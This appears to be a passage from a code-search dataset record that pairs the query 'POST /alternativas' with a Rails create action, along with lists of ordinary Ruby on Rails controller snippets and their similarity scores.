"def show\n set_glossary_locale(params[:locale]) if params[:locale]\n\n respond_to do |format|\n format.html {\n redirect_to glossary_terms_path(params[:id])\n }\n format.json {\n @glossary = Glossary.find(params[:id]).prepare_for_display\n render json: @glossary\n }\n end\n end",
"def index\n @ramais = Ramal.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ramais }\n end\n end",
"def show\n @articuloind = Articuloind.find(params[:id])\n\n \n respond_to do |format|\n format.html # show.html.erb\n #format.json { render json: @articuloind }\n end\n end",
"def show\n @humanidades3 = Humanidades3.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @humanidades3 }\n end\n end",
"def index\n @normas = Norma.all\n render json: @normas\n end",
"def show\n @tipo_contrato = TipoContrato.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_contrato }\n end\n end",
"def show\n @irregular_verb = IrregularVerb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @irregular_verb }\n end\n end",
"def index\n @tutorials = Tutorial.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tutorials }\n end\n end",
"def show\n @atracao = Atracao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @atracao }\n end\n end",
"def show\n @inscrito = Inscrito.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @inscrito }\n end\n end",
"def show\n @vachana = Vachana.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vachana }\n end\n end",
"def show\n @vachana = Vachana.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vachana }\n end\n end",
"def show\n @aactio = Aactio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @aactio }\n end\n end",
"def show\n\t\tid = params[:id]\n\t\tlang = params[:lang] || I18n.locale\n\n\t\tif is_a_number?(id)\n\t\t\tmodel = entity.with_relationships.find_by(id: params[:id])\n\t\telse\n\t\t\tmodel = entity.with_relationships.lang(lang).find_by(slug: params[:id])\n\t\tend\n\n\t\trender json: model.to_json(:except => [:keywords],\n\t\t\t:include => [\n\t\t\t\t:translations,\n\t\t\t\t:translation,\n\t\t\t\t{:categories => {:except => [:description]} },\n\t\t\t\t:lawyers,\n\t\t\t\t:gallery\n\t\t])\n\n\tend",
"def show\n @ingredients_name = IngredientsName.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ingredients_name }\n end\n end",
"def show\n @relogio = Relogio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @relogio }\n end\n end",
"def show\n @recipe_ingredient = RecipeIngredient.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipe_ingredient }\n end\n end",
"def show\n @vano = Vano.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vano }\n end\n end",
"def show\n @lei = Lei.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lei }\n end\n end",
"def show\n\tadd_breadcrumb \"Datos del libro\", :libro_path\n @libro = Libro.find(params[:id])\n\t\t\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @libro }\n end\n end",
"def index\n @encriptions = Encription.all\n respond_to do |format|\n \n format.html \n format.json { render json: @encriptions }\n \n end\n end",
"def show\n @recipe_ingredient = Recipe_ingredient.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipe_ingredient }\n end\n end",
"def show\n @ringtone = Ringtone.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ringtone }\n end\n end",
"def show_by_original_word\n @translated_word = TranslatedWord.find_by_word_id(Word.find_by_text(params[:wordtext]))\n respond_to do |format|\n format.json do\n render :json => @translated_word.to_json(:include => :word )\n end\n end\n end",
"def show\n @detalle = Detalle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @detalle }\n end\n end",
"def show\n @descuento = Descuento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @descuento }\n end\n end",
"def show\n @recoleccion = Recoleccion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recoleccion }\n end\n end",
"def show\n render json: @language_type\n end",
"def show\n @cita = Cita.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cita }\n end\n end"
] |
[
"0.720292",
"0.68971455",
"0.65599126",
"0.65155125",
"0.64964813",
"0.64964813",
"0.6463232",
"0.6081515",
"0.60740495",
"0.6046594",
"0.60087824",
"0.59776175",
"0.59313124",
"0.5906834",
"0.59039295",
"0.58847475",
"0.5867455",
"0.5865776",
"0.5865776",
"0.5865776",
"0.5857335",
"0.582852",
"0.581969",
"0.5811453",
"0.58033067",
"0.5784593",
"0.5765523",
"0.575672",
"0.57545537",
"0.5752507",
"0.57345635",
"0.5725654",
"0.57251465",
"0.57209045",
"0.5718948",
"0.57175595",
"0.57137644",
"0.5711268",
"0.5710932",
"0.5709534",
"0.5707599",
"0.5690089",
"0.56898016",
"0.5678127",
"0.56676185",
"0.566649",
"0.566372",
"0.56528974",
"0.56510484",
"0.56504446",
"0.5649151",
"0.56445426",
"0.56426907",
"0.5632711",
"0.5631582",
"0.5612035",
"0.5610374",
"0.55987763",
"0.55949324",
"0.5586356",
"0.5586112",
"0.55852914",
"0.55685115",
"0.556722",
"0.55652565",
"0.55609506",
"0.55510336",
"0.5549497",
"0.5536787",
"0.55325884",
"0.5528352",
"0.55281305",
"0.5527295",
"0.5527186",
"0.55218",
"0.55129206",
"0.5512638",
"0.55114704",
"0.5510271",
"0.5509934",
"0.55073786",
"0.5504654",
"0.5503244",
"0.5503244",
"0.55016047",
"0.5500033",
"0.5497366",
"0.5496856",
"0.54957116",
"0.54945445",
"0.5492085",
"0.54912466",
"0.5490185",
"0.54895896",
"0.5487072",
"0.54816824",
"0.5478966",
"0.5476654",
"0.54740757",
"0.5465783",
"0.5462474"
] |
0.0
|
-1
|
POST /alternativas POST /alternativas.json
|
def create
@alternativa = Alternativa.new(alternativa_params)
respond_to do |format|
if @alternativa.save
format.html { redirect_to @alternativa, notice: 'Alternativa was successfully created.' }
format.json { render :show, status: :created, location: @alternativa }
else
format.html { render :new }
format.json { render json: @alternativa.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @alternativo = Alternativo.new(alternativo_params)\n\n respond_to do |format|\n if @alternativo.save\n format.html { redirect_to @alternativo, notice: 'Alternativo was successfully created.' }\n format.json { render :show, status: :created, location: @alternativo }\n else\n format.html { render :new }\n format.json { render json: @alternativo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def alternativa_params\n # params.require(:alternativa).permit(:pergunta_id, :descricao, :correto)\n params.permit(:pergunta_id, :descricao, :correto)\n end",
"def alternativa_params\n params.require(:alternativa).permit(:desc, :question_id)\n end",
"def alternativo_params\n params.require(:alternativo).permit(:ruta_id, :alternativo_id, :estado, :obs)\n end",
"def pregunta_alternativa_params\n params.require(:pregunta_alternativa).permit(:nombre, :pregunta, :respuesta1, :respuesta2, :respuesta3, :respuesta4, :verdadera, :explicacion)\n end",
"def create\n @pregunta_alternativa = PreguntaAlternativa.new(pregunta_alternativa_params)\n\n respond_to do |format|\n if @pregunta_alternativa.save\n format.html { redirect_to @pregunta_alternativa, notice: 'Pregunta la pregunta fue creada exitosamente.' }\n format.json { render :show, status: :created, location: @pregunta_alternativa }\n else\n format.html { render :new }\n format.json { render json: @pregunta_alternativa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @alternativa = Alternativa.new(params[:alternativa])\n\n respond_to do |format|\n if @alternativa.save\n flash[:notice] = 'Alternativa foi criado(a) com sucesso.'\n format.html { redirect_to(@alternativa) }\n format.xml { render :xml => @alternativa, :status => :created, :location => @alternativa }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @alternativa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_alternativo\n @alternativo = Alternativo.find(params[:id])\n end",
"def index\n @alternativas = Alternativa.all\n end",
"def set_alternativa\n @alternativa = Alternativa.find(params[:id])\n end",
"def set_alternativa\n @alternativa = Alternativa.find(params[:id])\n end",
"def set_pregunta_alternativa\n @pregunta_alternativa = PreguntaAlternativa.find(params[:id])\n end",
"def index\n @alternativos = Alternativo.all\n end",
"def update\n respond_to do |format|\n if @alternativa.update(alternativa_params)\n format.html { redirect_to @alternativa, notice: 'Alternativa was successfully updated.' }\n format.json { render :show, status: :ok, location: @alternativa }\n else\n format.html { render :edit }\n format.json { render json: @alternativa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @alternativo.update(alternativo_params)\n format.html { redirect_to @alternativo, notice: 'Alternativo was successfully updated.' }\n format.json { render :show, status: :ok, location: @alternativo }\n else\n format.html { render :edit }\n format.json { render json: @alternativo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def variation_params\n params.require(:variation).permit(\n :tagline,\n :content,\n :asana_id,\n exercise_attributes: %i[id name image],\n tag_ids: [],\n )\n end",
"def new\n @alternativa = Alternativa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @alternativa }\n end\n end",
"def tb_avaliacao_params\n params.require(:tb_avaliacao).permit(:id,\n tb_respostas_attributes: %i(id tb_pergunta_id nota obs))\n end",
"def v1_answer_params\n params.permit(:alternative_id)\n end",
"def antique_params\n params.require(:antique).permit(:description)\n end",
"def post_spoonacular\n # %encode ingredients to url\n encoded_ingr = URI.escape(@translated_recipe[:ingredients_list])\n # post call block :\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/parseIngredients?includeNutrition=true\")\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(url)\n request[\"content-type\"] = \"application/x-www-form-urlencoded\"\n request[\"x-rapidapi-key\"] = ENV[\"X_RAPIDAPI_KEY\"]\n request[\"x-rapidapi-host\"] = \"spoonacular-recipe-food-nutrition-v1.p.rapidapi.com\"\n # body of the call with ingredients and servings\n request.body = \"ingredientList=#{encoded_ingr}&#{@recipe_hash[:servings]}\"\n # response\n response = http.request(request)\n end",
"def new\n @alternatives_set = AlternativesSet.new\n @alternatives_set.alternatives.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @alternatives_set }\n end\n end",
"def destroy\n @alternativa.destroy\n respond_to do |format|\n format.html { redirect_to alternativas_url, notice: 'Alternativa was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @recipe = current_user.recipes.new(recipe_params)\n\n respond_to do |format|\n if @recipe.save\n if params[:lista].present?\n params[:lista].each do |(c,ingrediente)|\n Ingredient.create(name: ingrediente, recipe_id:@recipe.id) if ingrediente != \"\"\n end\n end\n format.html { redirect_to @recipe, notice: 'Recipe was successfully created.' }\n format.json { render :show, status: :created, location: @recipe }\n format.js {flash.now[:notice] = 'La receta se ha creado de forma exitosa.'} #ajax\n else\n format.html { render :new }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n format.js {flash.now[:alert] = 'Error al crear la receta.'} #ajax\n end\n end\n end",
"def create\n @platillo = Platillo.new(platillo_params)\n @ingredients = platillo_params[:ingredients_attributes]\n debug @ingredients\n\n @platilloIngrendiente = Ingredient.new(@ingredients)\n @platilloIngrendiente.save\n respond_to do |format|\n if @platillo.save\n format.html { redirect_to @platillo, notice: 'Platillo creado exitosamente' }\n format.json { render :show, status: :created, location: @platillo }\n else\n format.html { render :new }\n format.json { render json: @platillo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def atleta_params\n params.require(:atleta).permit(:nome, :nacionalidade, :naturalidade, :data_nascimento, :sexo, :cpf, :rg, :email, :passaporte, :validade_passaporte, :tipo_sanguineo_id, :licenca_cbc, :codigo_uci, :nome_mae, :nome_pai, :logradouro, :numero, :complemento, :bairro, :cep, :cidade, :uf, :telefone_residencial, :telefone_celular, inscricoes_attributes: [:id, :categoria_id, :etapa_id, :placa, :_destroy])\n end",
"def update\n @alternativa = Alternativa.find(params[:id])\n\n respond_to do |format|\n if @alternativa.update_attributes(params[:alternativa])\n flash[:notice] = 'Alternativa foi atualizado(a) com sucesso.'\n format.html { redirect_to(@alternativa) }\n format.xml { render :xml => @alternativa, :status => :created, :location => @alternativa }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @alternativa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @pregunta_alternativas = PreguntaAlternativa.all\n end",
"def antropo_params\n params.require(:antropo).permit(:estatura, :pescoco, :ombro, :torax, :cintura, :abdomen, \n :quadril, :braco_esq, :antebraco_esq, :coxa_esq, :panturrilha_esq, :braco_dir, \n :antebraco_dir, :panturrilha_dir, :coxa_dir, :aluno_id, :alunos_attributes => [:id, :nome])\n end",
"def create\n params.permit(:intitule, :estObligatoire, :nombreDeCaractere, :ordre, :sondage_id)\n ajout = QuestionOuverteService.instance.creerQuestionOuverte(params[:intitule], params[:estObligatoire], params[:nombreDeCaractere], params[:ordre], params[:sondage_id])\n (ajout != nil) ? (render json: ajout, status: :ok) : (render json: nil, status: :not_found)\n end",
"def index\n render status: :ok, json: @simple_question_alternatives\n end",
"def questionario_resposta_params\n params.require(:questionario_resposta).permit(:questionario_id, :participante_id, :pergunta_id, :alternativa_id)\n end",
"def update\n respond_to do |format|\n if @pregunta_alternativa.update(pregunta_alternativa_params)\n format.html { redirect_to @pregunta_alternativa, notice: 'Pregunta la pregunta fue actualizada exitosamente.' }\n format.json { render :show, status: :ok, location: @pregunta_alternativa }\n else\n format.html { render :edit }\n format.json { render json: @pregunta_alternativa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @alternatives_set = AlternativesSet.new(params[:alternatives_set])\n #params[:alternative].each do |foreign_key_name,alternative_id|\n # alternative = Alternative.find(alternative_id)\n # @alternatives_set.alternatives << alternative\n #end\n\n respond_to do |format|\n if @alternatives_set.save\n flash[:notice] = 'AlternativesSet was successfully created.'\n format.html { redirect_to(alternatives_sets_path) }\n format.xml { render :xml => @alternatives_set, :status => :created, :location => @alternatives_set }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @alternatives_set.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def simple_question_alternative_params\n params.require(:simple_question_alternative).permit(:name, :media, :correct, :question_id)\n end",
"def create\n @tutorials = Tutorial.all\n @tutorial = Tutorial.new(tutorial_params)\n\n if @tutorial.save\n render json: @tutorial\n else\n render json: @tutorial.errors.full_messages, status:400\n end\n end",
"def create\n @tipo_pregunta = TipoPregunta.new(params[:tipo_pregunta])\n\n if @tipo_pregunta.save\n render json: @tipo_pregunta, status: :created, location: @tipo_pregunta\n else\n render json: @tipo_pregunta.errors, status: :unprocessable_entity\n end\n end",
"def new\n #@aliments = Aliment.order(\"name ASC\").all\n @repa = Repa.new\n @ingredient = @repa.ingredients.build\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @repa }\n end\n end",
"def create\n @votacion = Votacion.new(votacion_params)\n @votacion.etapa = \"Previa a la votación.\"\n respond_to do |format|\n if @votacion.save\n format.html { redirect_to @votacion, notice: 'La votación se creo correctamente.' }\n format.json { render :show, status: :created, location: @votacion }\n else\n format.html { render :new }\n format.json { render json: @votacion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def tutorial_params\n params.require(:tutorial).permit(:title, :functionality, :learning_language_ids, :body, :suggestion)\n end",
"def destroy\n @alternativo.destroy\n respond_to do |format|\n format.html { redirect_to alternativos_url, notice: 'Alternativo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def annonce_params\n params.require(:annonce).permit(:titre, :urlRecherche)\n end",
"def asana_params\n params.require(:asana).permit(\n :translation,\n :family_id,\n :advanced_actions,\n :connections,\n :observe,\n :benefits,\n :caution,\n :contraindications,\n :content,\n :setup,\n :entering,\n :legs,\n :core,\n :trunk,\n :arms,\n :head,\n :all,\n :leaving,\n :curiosities,\n exercise_attributes: %i[id name alternative_names image],\n movement_ids: [],\n word_ids: [],\n )\n end",
"def create\n @lugar = Lugar.new(lugar_params)\n\n if @lugar.save\n render json: @lugar, status: :created, location: @lugar\n else\n render json: @lugar.errors, status: :unprocessable_entity\n end\n end",
"def create\n @alternative_tag_name = AlternativeTagName.new(alternative_tag_name_params)\n\n respond_to do |format|\n if @alternative_tag_name.save\n format.html { redirect_to @alternative_tag_name, notice: \"Alternative tag name was successfully created.\" }\n format.json { render :show, status: :created, location: @alternative_tag_name }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @alternative_tag_name.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @aluguel = Aluguel.new(aluguel_params)\n\n respond_to do |format|\n if @aluguel.save\n format.html { redirect_to @aluguel, notice: 'Aluguel was successfully created.' }\n format.json { render :show, status: :created, location: @aluguel }\n else\n format.html { render :new }\n format.json { render json: @aluguel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @assunto = Assunto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assunto }\n end\n end",
"def new\n @representante_athlete = Representante::Athlete.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @representante_athlete }\n end\n end",
"def artista_params\n params.require(:artista).permit(:nombre, :descripcion, :fecha_origen, :web, :imagen)\n end",
"def create\n @questionnaire = Questionnaire.new(questionnaire_params)\n @questionnaire.build_questionnaire_with_options(\n questionnaire_params[:options][:question_count],\n questionnaire_params[:options][:answer_count])\n\n respond_to do |format|\n if @questionnaire.save\n format.html { redirect_to @questionnaire,\n notice:\n 'Тест успешно создан, для заполнения вопросов и ответов\n - пройдите в раздел \"Редактировать тест\".'}\n format.json { render :show, status: :created, location: @questionnaire }\n else\n format.html { render :new }\n format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n end\n end\n end",
"def etapa_params\n params.require(:etapa).permit(:nombre, :descripcion, :etapaAnterior)\n end",
"def musica_params\n params.require(:musica).permit(:titulo, :image, audios: [])\n end",
"def rangking_params\n params.require(:rangking).permit(:alternatif_id, :kriteria_id, :nilai)\n end",
"def create\n @lensa = Lensa.new(lensa_params)\n\n respond_to do |format|\n if @lensa.save\n format.html { redirect_to @lensa, notice: 'Lensa was successfully created.' }\n format.json { render :show, status: :created, location: @lensa }\n else\n format.html { render :new }\n format.json { render json: @lensa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def link_params\n params.require(:link).permit(:name, :url, :description, :hottiness, pot_ids: [ ])\n end",
"def new\n @receipe = Receipe.new\n @receipe.aroma_bundles.build\n @selectable_aromas = Aroma.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @receipe }\n end\n end",
"def hookah_params\n params.require(:hookah).permit(:title, :description)\n end",
"def estrutura_params\n params.require(:estrutura).permit(:link, :titulo, :texto,:photo)\n end",
"def create\n @tipomaquinat = Tipomaquinat.new(tipomaquinat_params)\n #@tipomaquinat = Tipomaquinat.new\n #@tipomaquinat.id=401\n #@tipomaquinat.tipomaquina = \"KLK\" #params.require(:tipomaquinat).permit(:tipomaquina)\n #@tipomaquinat.descripcion = \"YOOOO\" #params.require(:tipomaquinat).permit(:descripcion)\n #descripcion\n\n # params.require(:tipomaquinat).permit(:tipomaquina, :descripcion,\n\n respond_to do |format|\n if @tipomaquinat.save\n format.html { redirect_to @tipomaquinat, notice: 'Tipomaquinat was successfully created.' }\n format.json { render :show, status: :created, location: @tipomaquinat }\n else\n format.html { render :new }\n format.json { render json: @tipomaquinat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def recipe_params\n params.require(:recipe).permit(\n :name, :link, :ingredients_array, :image_url,\n meal_plans_params: [:recipe_id, :user_id, :status],\n likes_params: [:recipe_id, :user_id],\n ingredients_params: [:recipe_id, :grocery_item_id, :qty, :measurement, :note, :aisle]\n )\n end",
"def teste_anamnese_params\n params.require(:teste_anamnese).permit(:meta, :condicionamento, :tipo_sanguineo, \n :anemia, :fumante, :alergia, :doenca, :lesao, :cirurgia, :medicacao, :emergencia,\n :telefone, :observacao, :dieta, :peso, :altura, :aluno_id, :alunos_attributes => [:id, :nome])\n end",
"def create \n @lancamentorapido = Lancamentorapido.new(params[:lancamentorapido])\n \n #Validações padrão\n @lancamentorapido.tipo = :receita if @lancamentorapido.tipo.blank?\n @lancamentorapido.valor = 0 if @lancamentorapido.valor.blank? \n \n respond_to do |format|\n if @lancamentorapido.save\n format.html { redirect_to lancamentorapidos_path, notice: 'Lancamento was successfully created.' } \n# format.html { redirect_to '/lancamentorapidos'}\n format.json { render json: lancamentorapidos_path, status: :created, location: @lancamentorapido }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lancamentorapido.errors, status: :unprocessable_entity }\n end\n end\n end",
"def questao_params\n params.require(:questao).permit(:descricao)\n end",
"def create\n @tipo_answer = TipoAnswer.new(tipo_answer_params)\n\n respond_to do |format|\n if @tipo_answer.save\n format.html { redirect_to @tipo_answer, notice: 'Tipo answer was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_answer }\n else\n format.html { render :new }\n format.json { render json: @tipo_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @nota_aluno = NotaAluno.new(nota_aluno_params)\n\n respond_to do |format|\n if @nota_aluno.save\n format.html { redirect_to @nota_aluno, notice: 'Nota aluno was successfully created.' }\n format.json { render :show, status: :created, location: @nota_aluno }\n else\n format.html { render :new }\n format.json { render json: @nota_aluno.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @artesano = Artesano.new(artesano_params)\n\n respond_to do |format|\n if @artesano.save\n format.html { redirect_to @artesano, notice: 'Artesano was successfully created.' }\n format.json { render :show, status: :created, location: @artesano }\n else\n format.html { render :new }\n format.json { render json: @artesano.errors, status: :unprocessable_entity }\n end\n end\n end",
"def douga_params\n params.require(:douga).permit(:douga, :title, :text)\n end",
"def tattoo_params\n params.require(:tattoo).permit(:name, :image_link)\n end",
"def lensa_params\n params.require(:lensa).permit(:category_product_id, :merk_lensa_id, :availability_product_id, :name, :slug, :lensa_description, :lensa_kelengkapan, :price, :review_video, :image1, :image2, :image3, :image4, :image5)\n end",
"def create\n @survey = Survey.new(params[:survey])\n\n respond_to do |format|\n if @survey.save\n format.html { redirect_to @survey, notice: 'Тест добавлен.' }\n format.json { render json: @survey, status: :created, location: @survey }\n else\n format.html { render action: \"new\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @apertura_billete = AperturaBillete.new(apertura_billete_params)\n\n respond_to do |format|\n if @apertura_billete.save\n format.html { redirect_to @apertura_billete, notice: 'Apertura billete was successfully created.' }\n format.json { render :show, status: :created, location: @apertura_billete }\n else\n format.html { render :new }\n format.json { render json: @apertura_billete.errors, status: :unprocessable_entity }\n end\n end\n end",
"def recipe_params\n params.require(:recipe).permit(:name, :url, :instructions, :picture_url, :menu_type, allergy_ids: [], ingredient_ids: [])\n end",
"def galinha_params\n params.require(:galinha).permit(:galinha_id, :nome, :raca)\n end",
"def repa_params\n params.require(:repa).permit(:titre, :descritpion, :date, :prix, :menu ,:entree, :places ,:plat, :dessert,:image)\n end",
"def artikel_params\n params.require(:artikel).permit(:name, :text, :datum, :autor_id, thema_ids:[])\n end",
"def questionario_params\n params.require(:questionario).permit(:descricao, :vaga_id, questoes_attributes: [:id, :questionario_id, :descricao, :nota, :_destroy, opcoes_attributes: [:id, :questao_id, :gabarito, :descricao, :_destroy]])\n end",
"def tale_params\n params.require(:tale).permit(:title, :text, :image, :book, :author)\n end",
"def create\n @iglesia = Iglesia.new(iglesia_params)\n\n respond_to do |format|\n if @iglesia.save\n format.html { redirect_to iglesias_path, notice: \"La iglesia #{@iglesia.nombre} ha sido creada.\" }\n format.json { render action: 'show', status: :created, location: @iglesia }\n else\n format.html { render action: 'new' }\n format.json { render json: @iglesia.errors, status: :unprocessable_entity }\n end\n end\n end",
"def titulacion_params\n params.require(:titulacion).permit(:descripcion, :sigla)\n end",
"def new\n @tarefa = Tarefa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tarefa }\n end\n end",
"def revista_params\n params.require(:revista).permit(:revista, :idioma_id)\n end",
"def turma_params\n params.require(:turma).permit(:nome, :codigo, :ativo)\n end",
"def turma_params\n params.require(:turma).permit(:serie, :turno, :ensino, :colegio_id)\n end",
"def create\n @argumentative_question = ArgumentativeQuestion.new(argumentative_question_params)\n\n respond_to do |format|\n if @argumentative_question.save\n format.html { redirect_to argumentative_questions_path, notice: 'Pregunta creada.' }\n format.json { render :show, status: :created, location: @argumentative_question }\n else\n format.html { render :new }\n format.json { render json: @argumentative_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def texto_palabra_params\n params.require(:texto_palabra).permit(:id_tp, :id_texto, :id_palabrab)\n end",
"def create\n @questao = Questao.new(questao_params)\n\n respond_to do |format|\n if @questao.save\n format.html { redirect_to @questao, notice: 'Questao was successfully created.' }\n format.json { render :show, status: :created, location: @questao }\n else\n format.html { render :new }\n format.json { render json: @questao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @langopt = Langopt.new(langopt_params)\n\n respond_to do |format|\n if @langopt.save\n format.html { redirect_to @langopt, notice: 'Langopt was successfully created.' }\n format.json { render :show, status: :created, location: @langopt }\n else\n format.html { render :new }\n format.json { render json: @langopt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def galeria_prep_mate_params\n params.require(:galeria_prep_mate).permit(:título, :descrición, :image)\n end",
"def asignatura_params\n params.require(:asignatura).permit(:name, :lectiva, :orden)\n end",
"def create\n @tutorial_quest = Tutorial::Quest.new(params[:tutorial_quest])\n\n respond_to do |format|\n if @tutorial_quest.save\n format.html { redirect_to @tutorial_quest, notice: 'Quest was successfully created.' }\n format.json { render json: @tutorial_quest, status: :created, location: @tutorial_quest }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tutorial_quest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n params.permit(:id_groupe, :id_question)\n ajout = GroupeService.instance.ajouterQuestion(params[:id_groupe], params[:id_question])\n (ajout != nil) ? (render json: ajout, status: :ok) : (render json: nil, status: :not_found)\n end",
"def create\n @tarefa = Tarefa.new(params[:tarefa])\n\n respond_to do |format|\n if @tarefa.save\n format.html { redirect_to @tarefa, notice: 'Tarefa was successfully created.' }\n format.json { render json: @tarefa, status: :created, location: @tarefa }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tarefa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def categoria_norma_params\n params.require(:categoria_norma).permit(:descripcion)\n end",
"def create\n @asana = Asana.new(asana_params)\n\n respond_to do |format|\n if @asana.save\n format.html { redirect_to @asana, notice: 'Asana criado com sucesso.' }\n format.json { render :show, status: :created, location: @asana }\n else\n format.html { render :new }\n format.json { render json: @asana.errors, status: :unprocessable_entity }\n end\n end\n end",
"def tarefa_params\n params.require(:tarefa).permit(:missao_id, :usuario_curso_id, :nome, :descricao)\n end",
"def create\n @liga_tymy_are = LigaTymyAre.new(liga_tymy_are_params)\n\n respond_to do |format|\n if @liga_tymy_are.save\n format.html { redirect_to @liga_tymy_are, notice: 'Liga tymy are was successfully created.' }\n format.json { render :show, status: :created, location: @liga_tymy_are }\n else\n format.html { render :new }\n format.json { render json: @liga_tymy_are.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @respuesta = Respuesta.new(params[:respuesta])\n\n if @respuesta.save\n render json: @respuesta, status: :created, location: @respuesta\n else\n render json: @respuesta.errors, status: :unprocessable_entity\n end\n end",
"def create\n @laboratorio = Laboratorio.new(laboratorio_params)\n get_responsavel\n puts \"O responsavel é: #{@laboratorio.responsavel_id}\"\n if (@responsavel != \"sem_responsavel\")\n @laboratorio.docentes << Docente.find(@laboratorio.responsavel_id)\n puts \"Add relação entre #{@laboratorio.nome} e #{Docente.find(@laboratorio.responsavel_id).user.nome}\"\n end\n respond_to do |format|\n if @laboratorio.save\n format.html { redirect_to @laboratorio, notice: 'Laboratorio was successfully created.' }\n format.json { render :show, status: :created, location: @laboratorio }\n else\n format.html { render :new }\n format.json { render json: @laboratorio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def possible_adoption_params\n params.require(:possible_adoption).permit(:id_animal, :id_pessoa)\n end",
"def user_tutorial_params\n params.require(:user_tutorial).permit(:name, :language, :goal, :content, :code, :files, :image)\n end"
] |
[
"0.7301132",
"0.68833977",
"0.6863226",
"0.6854097",
"0.64734524",
"0.64412075",
"0.6407407",
"0.6292914",
"0.62471664",
"0.6233773",
"0.6233773",
"0.59148645",
"0.5905892",
"0.5817316",
"0.58154386",
"0.5765965",
"0.57640475",
"0.56542134",
"0.5650958",
"0.5562129",
"0.5508612",
"0.5497193",
"0.54908174",
"0.54634655",
"0.5452767",
"0.544179",
"0.5420876",
"0.5419621",
"0.5378301",
"0.53772974",
"0.5361309",
"0.53534126",
"0.5345025",
"0.53272694",
"0.53254837",
"0.5317453",
"0.53038985",
"0.5295669",
"0.52799284",
"0.52782226",
"0.52535886",
"0.5251189",
"0.5242595",
"0.5210391",
"0.5209679",
"0.5195704",
"0.5195337",
"0.51882166",
"0.51799107",
"0.5176724",
"0.5171887",
"0.51701576",
"0.5170093",
"0.51633054",
"0.5162175",
"0.5159714",
"0.51568896",
"0.5155732",
"0.5155687",
"0.5154812",
"0.51431555",
"0.5135017",
"0.5132122",
"0.51298434",
"0.5125557",
"0.51216966",
"0.5112904",
"0.5110789",
"0.5110372",
"0.5106739",
"0.50994235",
"0.5089197",
